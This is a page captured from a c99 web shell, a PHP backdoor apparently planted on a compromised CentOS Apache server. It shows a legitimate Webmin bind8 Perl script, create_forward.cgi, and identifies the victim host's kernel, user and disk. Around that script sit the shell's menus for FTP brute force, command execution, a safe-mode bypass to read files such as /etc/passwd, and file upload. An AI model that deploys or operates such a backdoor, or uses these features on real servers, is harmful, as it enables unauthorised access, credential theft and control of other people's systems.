!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bind8/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     create_forward.cgi (1.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# create_forward.cgi
# Create a new forward zone

require './bind8-lib.pl';
&ReadParse();
&error_setup($text{'fcreate_err'});
$access{'forward'} || &error($text{'fcreate_ecannot'});
$access{'ro'} && &error($text{'master_ero'});
$conf = &get_config();
if ($in{'view'} ne '') {
    $view = $conf->[$in{'view'}];
    &can_edit_view($view) || &error($text{'master_eviewcannot'});
    $vconf = $view->{'members'};
    }
else {
    $vconf = $conf;
    }

# validate inputs
if ($in{'rev'}) {
    local($ipv4);
    ($ipv4 = &check_net_ip($in{'zone'})) ||
      $config{'support_aaaa'} &&
      (($in{'zone'} =~ /^([\w:]+)(\/\d+)$/) || &check_ip6address($1)) ||
        &error(&text('create_enet', $in{'zone'}));
    if ($ipv4) {
        $in{'zone'} = &ip_to_arpa($in{'zone'});
        }
    else {
        $in{'zone'} = &net_to_ip6int($1, ($2 ? substr($2, 1) : "" ));
        }
    }
else {
    ($in{'zone'} =~ /^[\d\.]+$/ || $in{'zone'} =~ /^[\d\:]+(\/[\d]+)?$/) &&
        &error(&text('create_edom2', $in{'zone'}));
    &valdnsname($in{'zone'}, 0, ".") ||
        &error(&text('create_edom', $in{'zone'}));
    }
$in{'zone'} =~ s/\.$//;
@masters = split(/\s+/, $in{'masters'});
foreach $m (@masters) {
    &check_ipaddress($m) || &check_ip6address($m) ||
        &error(&text('create_emaster', $m));
    }
#if (!@masters) {
#    &error($text{'create_enone'});
#    }
foreach $z (&find("zone", $vconf)) {
    if (lc($z->{'value'}) eq lc($in{'zone'})) {
        &error($text{'master_etaken'});
        }
    }

# Create structure
@mdirs = map { { 'name' => $_ } } @masters;
$dir = { 'name' => 'zone',
     'values' => [ $in{'zone'} ],
     'type' => 1,
     'members' => [ { 'name' => 'type',
              'values' => [ 'forward' ] },
            { 'name' => 'forwarders',
              'type' => 1,
              'members' => \@mdirs }
              ]
    };

# Create zone directive
&create_zone($dir, $conf, $in{'view'});
&webmin_log("create", "forward", $in{'zone'}, \%in);

# Get the new zone's index
$idx = &get_zone_index($in{'zone'}, $in{'view'});

&add_zone_access($in{'zone'});
&redirect("edit_forward.cgi?zone=$in{'zone'}&view=$in{'view'}");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0153 ]--